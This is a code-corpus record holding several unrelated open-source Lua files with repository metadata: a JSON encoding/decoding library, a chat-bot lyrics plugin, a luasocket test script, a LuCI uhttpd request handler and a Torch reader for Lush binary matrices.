20100731.1 initial public release --
gpl-2.0
adminomega/exterme-orginal
libs/JSON.lua
3765
34843
-- -*- coding: utf-8 -*- -- -- Simple JSON encoding and decoding in pure Lua. -- -- Copyright 2010-2014 Jeffrey Friedl -- http://regex.info/blog/ -- -- Latest version: http://regex.info/blog/lua/json -- -- This code is released under a Creative Commons CC-BY "Attribution" License: -- http://creativecommons.org/licenses/by/3.0/deed.en_US -- -- It can be used for any purpose so long as the copyright notice above, -- the web-page links above, and the 'AUTHOR_NOTE' string below are -- maintained. Enjoy. -- local VERSION = 20141223.14 -- version history at end of file local AUTHOR_NOTE = "-[ JSON.lua package by Jeffrey Friedl (http://regex.info/blog/lua/json) version 20141223.14 ]-" -- -- The 'AUTHOR_NOTE' variable exists so that information about the source -- of the package is maintained even in compiled versions. It's also -- included in OBJDEF below mostly to quiet warnings about unused variables. -- local OBJDEF = { VERSION = VERSION, AUTHOR_NOTE = AUTHOR_NOTE, } -- -- Simple JSON encoding and decoding in pure Lua. -- http://www.json.org/ -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- -- -- -- DECODING (from a JSON string to a Lua table) -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- If the JSON text is for an object or an array, e.g. -- { "what": "books", "count": 3 } -- or -- [ "Larry", "Curly", "Moe" ] -- -- the result is a Lua table, e.g. -- { what = "books", count = 3 } -- or -- { "Larry", "Curly", "Moe" } -- -- -- The encode and decode routines accept an optional second argument, -- "etc", which is not used during encoding or decoding, but upon error -- is passed along to error handlers. It can be of any type (including nil). -- -- -- -- ERROR HANDLING -- -- With most errors during decoding, this code calls -- -- JSON:onDecodeError(message, text, location, etc) -- -- with a message about the error, and if known, the JSON text being -- parsed and the byte count where the problem was discovered. You can -- replace the default JSON:onDecodeError() with your own function. -- -- The default onDecodeError() merely augments the message with data -- about the text and the location if known (and if a second 'etc' -- argument had been provided to decode(), its value is tacked onto the -- message as well), and then calls JSON.assert(), which itself defaults -- to Lua's built-in assert(), and can also be overridden. -- -- For example, in an Adobe Lightroom plugin, you might use something like -- -- function JSON:onDecodeError(message, text, location, etc) -- LrErrors.throwUserError("Internal Error: invalid JSON data") -- end -- -- or even just -- -- function JSON.assert(message) -- LrErrors.throwUserError("Internal Error: " .. message) -- end -- -- If JSON:decode() is passed a nil, this is called instead: -- -- JSON:onDecodeOfNilError(message, nil, nil, etc) -- -- and if JSON:decode() is passed HTML instead of JSON, this is called: -- -- JSON:onDecodeOfHTMLError(message, text, nil, etc) -- -- The use of the fourth 'etc' argument allows stronger coordination -- between decoding and error reporting, especially when you provide your -- own error-handling routines. Continuing with the the Adobe Lightroom -- plugin example: -- -- function JSON:onDecodeError(message, text, location, etc) -- local note = "Internal Error: invalid JSON data" -- if type(etc) = 'table' and etc.photo then -- note = note .. " while processing for " .. etc.photo:getFormattedMetadata('fileName') -- end -- LrErrors.throwUserError(note) -- end -- -- : -- : -- -- for i, photo in ipairs(photosToProcess) do -- : -- : -- local data = JSON:decode(someJsonText, { photo = photo }) -- : -- : -- end -- -- -- -- -- -- DECODING AND STRICT TYPES -- -- Because both JSON objects and JSON arrays are converted to Lua tables, -- it's not normally possible to tell which original JSON type a -- particular Lua table was derived from, or guarantee decode-encode -- round-trip equivalency. -- -- However, if you enable strictTypes, e.g. -- -- JSON = assert(loadfile "JSON.lua")() --load the routines -- JSON.strictTypes = true -- -- then the Lua table resulting from the decoding of a JSON object or -- JSON array is marked via Lua metatable, so that when re-encoded with -- JSON:encode() it ends up as the appropriate JSON type. -- -- (This is not the default because other routines may not work well with -- tables that have a metatable set, for example, Lightroom API calls.) -- -- -- ENCODING (from a lua table to a JSON string) -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- local custom_pretty = JSON:encode(lua_table_or_value, etc, { pretty = true, indent = "| ", align_keys = false }) -- -- On error during encoding, this code calls: -- -- JSON:onEncodeError(message, etc) -- -- which you can override in your local JSON object. -- -- The 'etc' in the error call is the second argument to encode() -- and encode_pretty(), or nil if it wasn't provided. -- -- -- PRETTY-PRINTING -- -- An optional third argument, a table of options, allows a bit of -- configuration about how the encoding takes place: -- -- pretty = JSON:encode(val, etc, { -- pretty = true, -- if false, no other options matter -- indent = " ", -- this provides for a three-space indent per nesting level -- align_keys = false, -- see below -- }) -- -- encode() and encode_pretty() are identical except that encode_pretty() -- provides a default options table if none given in the call: -- -- { pretty = true, align_keys = false, indent = " " } -- -- For example, if -- -- JSON:encode(data) -- -- produces: -- -- {"city":"Kyoto","climate":{"avg_temp":16,"humidity":"high","snowfall":"minimal"},"country":"Japan","wards":11} -- -- then -- -- JSON:encode_pretty(data) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- The following three lines return identical results: -- JSON:encode_pretty(data) -- JSON:encode_pretty(data, nil, { pretty = true, align_keys = false, indent = " " }) -- JSON:encode (data, nil, { pretty = true, align_keys = false, indent = " " }) -- -- An example of setting your own indent string: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = "| " }) -- -- produces: -- -- { -- | "city": "Kyoto", -- | "climate": { -- | | "avg_temp": 16, -- | | "humidity": "high", -- | | "snowfall": "minimal" -- | }, -- | "country": "Japan", -- | "wards": 11 -- } -- -- An example of setting align_keys to true: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = " ", align_keys = true }) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- which I must admit is kinda ugly, sorry. This was the default for -- encode_pretty() prior to version 20141223.14. -- -- -- AMBIGUOUS SITUATIONS DURING THE ENCODING -- -- During the encode, if a Lua table being encoded contains both string -- and numeric keys, it fits neither JSON's idea of an object, nor its -- idea of an array. To get around this, when any string key exists (or -- when non-positive numeric keys exist), numeric keys are converted to -- strings. -- -- For example, -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- produces the JSON object -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To prohibit this conversion and instead make it an error condition, set -- JSON.noKeyConversion = true -- -- -- SUMMARY OF METHODS YOU CAN OVERRIDE IN YOUR LOCAL LUA JSON OBJECT -- -- assert -- onDecodeError -- onDecodeOfNilError -- onDecodeOfHTMLError -- onEncodeError -- -- If you want to create a separate Lua JSON object with its own error handlers, -- you can reload JSON.lua or use the :new() method. -- --------------------------------------------------------------------------- local default_pretty_indent = " " local default_pretty_options = { pretty = true, align_keys = false, indent = default_pretty_indent } local isArray = { __tostring = function() return "JSON array" end } isArray.__index = isArray local isObject = { __tostring = function() return "JSON object" end } isObject.__index = isObject function OBJDEF:newArray(tbl) return setmetatable(tbl or {}, isArray) end function OBJDEF:newObject(tbl) return setmetatable(tbl or {}, isObject) end local function unicode_codepoint_as_utf8(codepoint) -- -- codepoint is a number -- if codepoint <= 127 then return string.char(codepoint) elseif codepoint <= 2047 then -- -- 110yyyxx 10xxxxxx <-- useful notation from http://en.wikipedia.org/wiki/Utf8 -- local highpart = math.floor(codepoint / 0x40) local lowpart = codepoint - (0x40 * highpart) return string.char(0xC0 + highpart, 0x80 + lowpart) elseif codepoint <= 65535 then -- -- 1110yyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x1000) local remainder = codepoint - 0x1000 * highpart local midpart = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midpart highpart = 0xE0 + highpart midpart = 0x80 + midpart lowpart = 0x80 + lowpart -- -- Check for an invalid character (thanks Andy R. at Adobe). -- See table 3.7, page 93, in http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf#G28070 -- if ( highpart == 0xE0 and midpart < 0xA0 ) or ( highpart == 0xED and midpart > 0x9F ) or ( highpart == 0xF0 and midpart < 0x90 ) or ( highpart == 0xF4 and midpart > 0x8F ) then return "?" else return string.char(highpart, midpart, lowpart) end else -- -- 11110zzz 10zzyyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x40000) local remainder = codepoint - 0x40000 * highpart local midA = math.floor(remainder / 0x1000) remainder = remainder - 0x1000 * midA local midB = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midB return string.char(0xF0 + highpart, 0x80 + midA, 0x80 + midB, 0x80 + lowpart) end end function OBJDEF:onDecodeError(message, text, location, etc) if text then if location then message = string.format("%s at char %d of: %s", message, location, text) else message = string.format("%s: %s", message, text) end end if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end OBJDEF.onDecodeOfNilError = OBJDEF.onDecodeError OBJDEF.onDecodeOfHTMLError = OBJDEF.onDecodeError function OBJDEF:onEncodeError(message, etc) if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end local function grok_number(self, text, start, etc) -- -- Grab the integer part -- local integer_part = text:match('^-?[1-9]%d*', start) or text:match("^-?0", start) if not integer_part then self:onDecodeError("expected number", text, start, etc) end local i = start + integer_part:len() -- -- Grab an optional decimal part -- local decimal_part = text:match('^%.%d+', i) or "" i = i + decimal_part:len() -- -- Grab an optional exponential part -- local exponent_part = text:match('^[eE][-+]?%d+', i) or "" i = i + exponent_part:len() local full_number_text = integer_part .. decimal_part .. exponent_part local as_number = tonumber(full_number_text) if not as_number then self:onDecodeError("bad number", text, start, etc) end return as_number, i end local function grok_string(self, text, start, etc) if text:sub(start,start) ~= '"' then self:onDecodeError("expected string's opening quote", text, start, etc) end local i = start + 1 -- +1 to bypass the initial quote local text_len = text:len() local VALUE = "" while i <= text_len do local c = text:sub(i,i) if c == '"' then return VALUE, i + 1 end if c ~= '\\' then VALUE = VALUE .. c i = i + 1 elseif text:match('^\\b', i) then VALUE = VALUE .. "\b" i = i + 2 elseif text:match('^\\f', i) then VALUE = VALUE .. "\f" i = i + 2 elseif text:match('^\\n', i) then VALUE = VALUE .. "\n" i = i + 2 elseif text:match('^\\r', i) then VALUE = VALUE .. "\r" i = i + 2 elseif text:match('^\\t', i) then VALUE = VALUE .. "\t" i = i + 2 else local hex = text:match('^\\u([0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if hex then i = i + 6 -- bypass what we just read -- We have a Unicode codepoint. It could be standalone, or if in the proper range and -- followed by another in a specific range, it'll be a two-code surrogate pair. local codepoint = tonumber(hex, 16) if codepoint >= 0xD800 and codepoint <= 0xDBFF then -- it's a hi surrogate... see whether we have a following low local lo_surrogate = text:match('^\\u([dD][cdefCDEF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if lo_surrogate then i = i + 6 -- bypass the low surrogate we just read codepoint = 0x2400 + (codepoint - 0xD800) * 0x400 + tonumber(lo_surrogate, 16) else -- not a proper low, so we'll just leave the first codepoint as is and spit it out. end end VALUE = VALUE .. unicode_codepoint_as_utf8(codepoint) else -- just pass through what's escaped VALUE = VALUE .. text:match('^\\(.)', i) i = i + 2 end end end self:onDecodeError("unclosed string", text, start, etc) end local function skip_whitespace(text, start) local _, match_end = text:find("^[ \n\r\t]+", start) -- [http://www.ietf.org/rfc/rfc4627.txt] Section 2 if match_end then return match_end + 1 else return start end end local grok_one -- assigned later local function grok_object(self, text, start, etc) if text:sub(start,start) ~= '{' then self:onDecodeError("expected '{'", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '{' local VALUE = self.strictTypes and self:newObject { } or { } if text:sub(i,i) == '}' then return VALUE, i + 1 end local text_len = text:len() while i <= text_len do local key, new_i = grok_string(self, text, i, etc) i = skip_whitespace(text, new_i) if text:sub(i, i) ~= ':' then self:onDecodeError("expected colon", text, i, etc) end i = skip_whitespace(text, i + 1) local new_val, new_i = grok_one(self, text, i) VALUE[key] = new_val -- -- Expect now either '}' to end things, or a ',' to allow us to continue. -- i = skip_whitespace(text, new_i) local c = text:sub(i,i) if c == '}' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '}'", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '{'", text, start, etc) end local function grok_array(self, text, start, etc) if text:sub(start,start) ~= '[' then self:onDecodeError("expected '['", text, start, etc) end local i = skip_whitespace(text, start + 1) -- +1 to skip the '[' local VALUE = self.strictTypes and self:newArray { } or { } if text:sub(i,i) == ']' then return VALUE, i + 1 end local VALUE_INDEX = 1 local text_len = text:len() while i <= text_len do local val, new_i = grok_one(self, text, i) -- can't table.insert(VALUE, val) here because it's a no-op if val is nil VALUE[VALUE_INDEX] = val VALUE_INDEX = VALUE_INDEX + 1 i = skip_whitespace(text, new_i) -- -- Expect now either ']' to end things, or a ',' to allow us to continue. -- local c = text:sub(i,i) if c == ']' then return VALUE, i + 1 end if text:sub(i, i) ~= ',' then self:onDecodeError("expected comma or '['", text, i, etc) end i = skip_whitespace(text, i + 1) end self:onDecodeError("unclosed '['", text, start, etc) end grok_one = function(self, text, start, etc) -- Skip any whitespace start = skip_whitespace(text, start) if start > text:len() then self:onDecodeError("unexpected end of string", text, nil, etc) end if text:find('^"', start) then return grok_string(self, text, start, etc) elseif text:find('^[-0123456789 ]', start) then return grok_number(self, text, start, etc) elseif text:find('^%{', start) then return grok_object(self, text, start, etc) elseif text:find('^%[', start) then return grok_array(self, text, start, etc) elseif text:find('^true', start) then return true, start + 4 elseif text:find('^false', start) then return false, start + 5 elseif text:find('^null', start) then return nil, start + 4 else self:onDecodeError("can't parse JSON", text, start, etc) end end function OBJDEF:decode(text, etc) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onDecodeError("JSON:decode must be called in method format", nil, nil, etc) end if text == nil then self:onDecodeOfNilError(string.format("nil passed to JSON:decode()"), nil, nil, etc) elseif type(text) ~= 'string' then self:onDecodeError(string.format("expected string argument to JSON:decode(), got %s", type(text)), nil, nil, etc) end if text:match('^%s*$') then return nil end if text:match('^%s*<') then -- Can't be JSON... we'll assume it's HTML self:onDecodeOfHTMLError(string.format("html passed to JSON:decode()"), text, nil, etc) end -- -- Ensure that it's not UTF-32 or UTF-16. -- Those are perfectly valid encodings for JSON (as per RFC 4627 section 3), -- but this package can't handle them. -- if text:sub(1,1):byte() == 0 or (text:len() >= 2 and text:sub(2,2):byte() == 0) then self:onDecodeError("JSON package groks only UTF-8, sorry", text, nil, etc) end local success, value = pcall(grok_one, self, text, 1, etc) if success then return value else -- if JSON:onDecodeError() didn't abort out of the pcall, we'll have received the error message here as "value", so pass it along as an assert. if self.assert then self.assert(false, value) else assert(false, value) end -- and if we're still here, return a nil and throw the error message on as a second arg return nil, value end end local function backslash_replacement_function(c) if c == "\n" then return "\\n" elseif c == "\r" then return "\\r" elseif c == "\t" then return "\\t" elseif c == "\b" then return "\\b" elseif c == "\f" then return "\\f" elseif c == '"' then return '\\"' elseif c == '\\' then return '\\\\' else return string.format("\\u%04x", c:byte()) end end local chars_to_be_escaped_in_JSON_string = '[' .. '"' -- class sub-pattern to match a double quote .. '%\\' -- class sub-pattern to match a backslash .. '%z' -- class sub-pattern to match a null .. '\001' .. '-' .. '\031' -- class sub-pattern to match control characters .. ']' local function json_string_literal(value) local newval = value:gsub(chars_to_be_escaped_in_JSON_string, backslash_replacement_function) return '"' .. newval .. '"' end local function object_or_array(self, T, etc) -- -- We need to inspect all the keys... if there are any strings, we'll convert to a JSON -- object. If there are only numbers, it's a JSON array. -- -- If we'll be converting to a JSON object, we'll want to sort the keys so that the -- end result is deterministic. -- local string_keys = { } local number_keys = { } local number_keys_must_be_strings = false local maximum_number_key for key in pairs(T) do if type(key) == 'string' then table.insert(string_keys, key) elseif type(key) == 'number' then table.insert(number_keys, key) if key <= 0 or key >= math.huge then number_keys_must_be_strings = true elseif not maximum_number_key or key > maximum_number_key then maximum_number_key = key end else self:onEncodeError("can't encode table with a key of type " .. type(key), etc) end end if #string_keys == 0 and not number_keys_must_be_strings then -- -- An empty table, or a numeric-only array -- if #number_keys > 0 then return nil, maximum_number_key -- an array elseif tostring(T) == "JSON array" then return nil elseif tostring(T) == "JSON object" then return { } else -- have to guess, so we'll pick array, since empty arrays are likely more common than empty objects return nil end end table.sort(string_keys) local map if #number_keys > 0 then -- -- If we're here then we have either mixed string/number keys, or numbers inappropriate for a JSON array -- It's not ideal, but we'll turn the numbers into strings so that we can at least create a JSON object. -- if self.noKeyConversion then self:onEncodeError("a table with both numeric and string keys could be an object or array; aborting", etc) end -- -- Have to make a shallow copy of the source table so we can remap the numeric keys to be strings -- map = { } for key, val in pairs(T) do map[key] = val end table.sort(number_keys) -- -- Throw numeric keys in there as strings -- for _, number_key in ipairs(number_keys) do local string_key = tostring(number_key) if map[string_key] == nil then table.insert(string_keys , string_key) map[string_key] = T[number_key] else self:onEncodeError("conflict converting table with mixed-type keys into a JSON object: key " .. number_key .. " exists both as a string and a number.", etc) end end end return string_keys, nil, map end -- -- Encode -- -- 'options' is nil, or a table with possible keys: -- pretty -- if true, return a pretty-printed version -- indent -- a string (usually of spaces) used to indent each nested level -- align_keys -- if true, align all the keys when formatting a table -- local encode_value -- must predeclare because it calls itself function encode_value(self, value, parents, etc, options, indent) if value == nil then return 'null' elseif type(value) == 'string' then return json_string_literal(value) elseif type(value) == 'number' then if value ~= value then -- -- NaN (Not a Number). -- JSON has no NaN, so we have to fudge the best we can. This should really be a package option. -- return "null" elseif value >= math.huge then -- -- Positive infinity. JSON has no INF, so we have to fudge the best we can. This should -- really be a package option. Note: at least with some implementations, positive infinity -- is both ">= math.huge" and "<= -math.huge", which makes no sense but that's how it is. -- Negative infinity is properly "<= -math.huge". So, we must be sure to check the ">=" -- case first. -- return "1e+9999" elseif value <= -math.huge then -- -- Negative infinity. -- JSON has no INF, so we have to fudge the best we can. This should really be a package option. -- return "-1e+9999" else return tostring(value) end elseif type(value) == 'boolean' then return tostring(value) elseif type(value) ~= 'table' then self:onEncodeError("can't convert " .. type(value) .. " to JSON", etc) else -- -- A table to be converted to either a JSON object or array. -- local T = value if type(options) ~= 'table' then options = {} end if type(indent) ~= 'string' then indent = "" end if parents[T] then self:onEncodeError("table " .. tostring(T) .. " is a child of itself", etc) else parents[T] = true end local result_value local object_keys, maximum_number_key, map = object_or_array(self, T, etc) if maximum_number_key then -- -- An array... -- local ITEMS = { } for i = 1, maximum_number_key do table.insert(ITEMS, encode_value(self, T[i], parents, etc, options, indent)) end if options.pretty then result_value = "[ " .. table.concat(ITEMS, ", ") .. " ]" else result_value = "[" .. table.concat(ITEMS, ",") .. "]" end elseif object_keys then -- -- An object -- local TT = map or T if options.pretty then local KEYS = { } local max_key_length = 0 for _, key in ipairs(object_keys) do local encoded = encode_value(self, tostring(key), parents, etc, options, indent) if options.align_keys then max_key_length = math.max(max_key_length, #encoded) end table.insert(KEYS, encoded) end local key_indent = indent .. tostring(options.indent or "") local subtable_indent = key_indent .. string.rep(" ", max_key_length) .. (options.align_keys and " " or "") local FORMAT = "%s%" .. string.format("%d", max_key_length) .. "s: %s" local COMBINED_PARTS = { } for i, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, subtable_indent) table.insert(COMBINED_PARTS, string.format(FORMAT, key_indent, KEYS[i], encoded_val)) end result_value = "{\n" .. table.concat(COMBINED_PARTS, ",\n") .. "\n" .. indent .. "}" else local PARTS = { } for _, key in ipairs(object_keys) do local encoded_val = encode_value(self, TT[key], parents, etc, options, indent) local encoded_key = encode_value(self, tostring(key), parents, etc, options, indent) table.insert(PARTS, string.format("%s:%s", encoded_key, encoded_val)) end result_value = "{" .. table.concat(PARTS, ",") .. "}" end else -- -- An empty array/object... we'll treat it as an array, though it should really be an option -- result_value = "[]" end parents[T] = false return result_value end end function OBJDEF:encode(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode must be called in method format", etc) end return encode_value(self, value, {}, etc, options or nil) end function OBJDEF:encode_pretty(value, etc, options) if type(self) ~= 'table' or self.__index ~= OBJDEF then OBJDEF:onEncodeError("JSON:encode_pretty must be called in method format", etc) end return encode_value(self, value, {}, etc, options or default_pretty_options) end function OBJDEF.__tostring() return "JSON encode/decode package" end OBJDEF.__index = OBJDEF function OBJDEF:new(args) local new = { } if args then for key, val in pairs(args) do new[key] = val end end return setmetatable(new, OBJDEF) end return OBJDEF:new() -- -- Version history: -- -- 20141223.14 The encode_pretty() routine produced fine results for small datasets, but isn't really -- appropriate for anything large, so with help from Alex Aulbach I've made the encode routines -- more flexible, and changed the default encode_pretty() to be more generally useful. -- -- Added a third 'options' argument to the encode() and encode_pretty() routines, to control -- how the encoding takes place. -- -- Updated docs to add assert() call to the loadfile() line, just as good practice so that -- if there is a problem loading JSON.lua, the appropriate error message will percolate up. -- -- 20140920.13 Put back (in a way that doesn't cause warnings about unused variables) the author string, -- so that the source of the package, and its version number, are visible in compiled copies. -- -- 20140911.12 Minor lua cleanup. -- Fixed internal reference to 'JSON.noKeyConversion' to reference 'self' instead of 'JSON'. -- (Thanks to SmugMug's David Parry for these.) -- -- 20140418.11 JSON nulls embedded within an array were being ignored, such that -- ["1",null,null,null,null,null,"seven"], -- would return -- {1,"seven"} -- It's now fixed to properly return -- {1, nil, nil, nil, nil, nil, "seven"} -- Thanks to "haddock" for catching the error. -- -- 20140116.10 The user's JSON.assert() wasn't always being used. Thanks to "blue" for the heads up. -- -- 20131118.9 Update for Lua 5.3... it seems that tostring(2/1) produces "2.0" instead of "2", -- and this caused some problems. -- -- 20131031.8 Unified the code for encode() and encode_pretty(); they had been stupidly separate, -- and had of course diverged (encode_pretty didn't get the fixes that encode got, so -- sometimes produced incorrect results; thanks to Mattie for the heads up). -- -- Handle encoding tables with non-positive numeric keys (unlikely, but possible). -- -- If a table has both numeric and string keys, or its numeric keys are inappropriate -- (such as being non-positive or infinite), the numeric keys are turned into -- string keys appropriate for a JSON object. So, as before, -- JSON:encode({ "one", "two", "three" }) -- produces the array -- ["one","two","three"] -- but now something with mixed key types like -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- instead of throwing an error produces an object: -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To maintain the prior throw-an-error semantics, set -- JSON.noKeyConversion = true -- -- 20131004.7 Release under a Creative Commons CC-BY license, which I should have done from day one, sorry. -- -- 20130120.6 Comment update: added a link to the specific page on my blog where this code can -- be found, so that folks who come across the code outside of my blog can find updates -- more easily. -- -- 20111207.5 Added support for the 'etc' arguments, for better error reporting. -- -- 20110731.4 More feedback from David Kolf on how to make the tests for Nan/Infinity system independent. -- -- 20110730.3 Incorporated feedback from David Kolf at http://lua-users.org/wiki/JsonModules: -- -- * When encoding lua for JSON, Sparse numeric arrays are now handled by -- spitting out full arrays, such that -- JSON:encode({"one", "two", [10] = "ten"}) -- returns -- ["one","two",null,null,null,null,null,null,null,"ten"] -- -- In 20100810.2 and earlier, only up to the first non-null value would have been retained. -- -- * When encoding lua for JSON, numeric value NaN gets spit out as null, and infinity as "1+e9999". -- Version 20100810.2 and earlier created invalid JSON in both cases. -- -- * Unicode surrogate pairs are now detected when decoding JSON. -- -- 20100810.2 added some checking to ensure that an invalid Unicode character couldn't leak in to the UTF-8 encoding -- -- 20100731.1 initial public release --
gpl-2.0
SirSepehr/Sepehr
plugins/lyrics.lua
695
2113
do local BASE_LNM_URL = 'http://api.lyricsnmusic.com/songs' local LNM_APIKEY = '1f5ea5cf652d9b2ba5a5118a11dba5' local BASE_LYRICS_URL = 'http://api.chartlyrics.com/apiv1.asmx/SearchLyricDirect' local function getInfo(query) print('Getting info of ' .. query) local url = BASE_LNM_URL..'?api_key='..LNM_APIKEY ..'&q='..URL.escape(query) local b, c = http.request(url) if c ~= 200 then return nil end local result = json:decode(b) local artist = result[1].artist.name local track = result[1].title return artist, track end local function getLyrics(query) local artist, track = getInfo(query) if artist and track then local url = BASE_LYRICS_URL..'?artist='..URL.escape(artist) ..'&song='..URL.escape(track) local b, c = http.request(url) if c ~= 200 then return nil end local xml = require("xml") local result = xml.load(b) if not result then return nil end if xml.find(result, 'LyricSong') then track = xml.find(result, 'LyricSong')[1] end if xml.find(result, 'LyricArtist') then artist = xml.find(result, 'LyricArtist')[1] end local lyric if xml.find(result, 'Lyric') then lyric = xml.find(result, 'Lyric')[1] else lyric = nil end local cover if xml.find(result, 'LyricCovertArtUrl') then cover = xml.find(result, 'LyricCovertArtUrl')[1] else cover = nil end return artist, track, lyric, cover else return nil end end local function run(msg, matches) local artist, track, lyric, cover = getLyrics(matches[1]) if track and artist and lyric then if cover then local receiver = get_receiver(msg) send_photo_from_url(receiver, cover) end return '🎵 ' .. artist .. ' - ' .. track .. ' 🎵\n----------\n' .. lyric else return 'Oops! Lyrics not found or something like that! :/' end end return { description = 'Getting lyrics of a song', usage = '!lyrics [track or artist - track]: Search and get lyrics of the song', patterns = { '^!lyrics? (.*)$' }, run = run } end
gpl-2.0
soundsrc/premake-core
binmodules/luasocket/gem/test.lua
37
1081
function readfile(n) local f = io.open(n, "rb") local s = f:read("*a") f:close() return s end lf = readfile("t1lf.txt") os.remove("t1crlf.txt") os.execute("lua t1.lua < t1lf.txt > t1crlf.txt") crlf = readfile("t1crlf.txt") assert(crlf == string.gsub(lf, "\010", "\013\010"), "broken") gt = readfile("t2gt.qp") os.remove("t2.qp") os.execute("lua t2.lua < t2.txt > t2.qp") t2 = readfile("t2.qp") assert(gt == t2, "broken") os.remove("t1crlf.txt") os.execute("lua t3.lua < t1lf.txt > t1crlf.txt") crlf = readfile("t1crlf.txt") assert(crlf == string.gsub(lf, "\010", "\013\010"), "broken") t = readfile("test.lua") os.execute("lua t4.lua < test.lua > t") t2 = readfile("t") assert(t == t2, "broken") os.remove("output.b64") gt = readfile("gt.b64") os.execute("lua t5.lua") t5 = readfile("output.b64") assert(gt == t5, "failed") print("1 2 5 6 10 passed") print("2 3 4 5 6 10 passed") print("2 5 6 7 8 10 passed") print("5 9 passed") print("5 6 10 11 passed") os.remove("t") os.remove("t2.qp") os.remove("t1crlf.txt") os.remove("t11.b64") os.remove("output.b64")
bsd-3-clause
Noltari/luci
modules/luci-base/luasrc/sgi/uhttpd.lua
79
1956
-- Copyright 2010 Jo-Philipp Wich <jow@openwrt.org> -- Licensed to the public under the Apache License 2.0. require "nixio.util" require "luci.http" require "luci.sys" require "luci.dispatcher" require "luci.ltn12" function handle_request(env) exectime = os.clock() local renv = { CONTENT_LENGTH = env.CONTENT_LENGTH, CONTENT_TYPE = env.CONTENT_TYPE, REQUEST_METHOD = env.REQUEST_METHOD, REQUEST_URI = env.REQUEST_URI, PATH_INFO = env.PATH_INFO, SCRIPT_NAME = env.SCRIPT_NAME:gsub("/+$", ""), SCRIPT_FILENAME = env.SCRIPT_NAME, SERVER_PROTOCOL = env.SERVER_PROTOCOL, QUERY_STRING = env.QUERY_STRING } local k, v for k, v in pairs(env.headers) do k = k:upper():gsub("%-", "_") renv["HTTP_" .. k] = v end local len = tonumber(env.CONTENT_LENGTH) or 0 local function recv() if len > 0 then local rlen, rbuf = uhttpd.recv(4096) if rlen >= 0 then len = len - rlen return rbuf end end return nil end local send = uhttpd.send local req = luci.http.Request( renv, recv, luci.ltn12.sink.file(io.stderr) ) local x = coroutine.create(luci.dispatcher.httpdispatch) local hcache = { } local active = true while coroutine.status(x) ~= "dead" do local res, id, data1, data2 = coroutine.resume(x, req) if not res then send("Status: 500 Internal Server Error\r\n") send("Content-Type: text/plain\r\n\r\n") send(tostring(id)) break end if active then if id == 1 then send("Status: ") send(tostring(data1)) send(" ") send(tostring(data2)) send("\r\n") elseif id == 2 then hcache[data1] = data2 elseif id == 3 then for k, v in pairs(hcache) do send(tostring(k)) send(": ") send(tostring(v)) send("\r\n") end send("\r\n") elseif id == 4 then send(tostring(data1 or "")) elseif id == 5 then active = false elseif id == 6 then data1:copyz(nixio.stdout, data2) end end end end
apache-2.0
soumith/torch-datasets
dataset/lushio.lua
3
1475
lushio = {} function lushio.read(filename) -- Reads Lush binary formatted matrix and returns it. -- The matrix is stored in 'filename'. -- -- call : x = luahio.readBinaryLushMatrix('my_lush_matrix_file_name'); -- -- Inputs: -- filename : the name of the lush matrix file. (string) -- -- Outputs: -- d : matrix which is stored in 'filename'. -- -- Koray Kavukcuoglu local fid = torch.DiskFile(filename,'r'):binary() local magic = fid:readInt() local ndim = fid:readInt() local tdims if ndim == 0 then tdims = torch.LongStorage({1}) else tdims = fid:readInt(math.max(3,ndim)) end local dims = torch.LongStorage(ndim) for i=1,ndim do dims[i] = tdims[i] end local nelem = 1 for i=1,dims:size() do nelem = nelem * dims[i] end local d = torch.Storage() local x if magic == 507333717 then --ubyte matrix d = fid:readByte(nelem) x = torch.ByteTensor(d,1,dims) elseif magic == 507333716 then --integer matrix d = fid:readInt(nelem) x = torch.IntTensor(d,1,dims) elseif magic == 507333713 then --float matrix d = fid:readFloat(nelem) x = torch.FloatTensor(d,1,dims) elseif magic == 507333715 then --double matrix d = fid:readDouble(nelem) x = torch.DoubleTensor(d,1,dims) else error('Unknown magic number in binary lush matrix') end fid:close() return x end return lushio
bsd-3-clause
astrofra/amiga-experiments
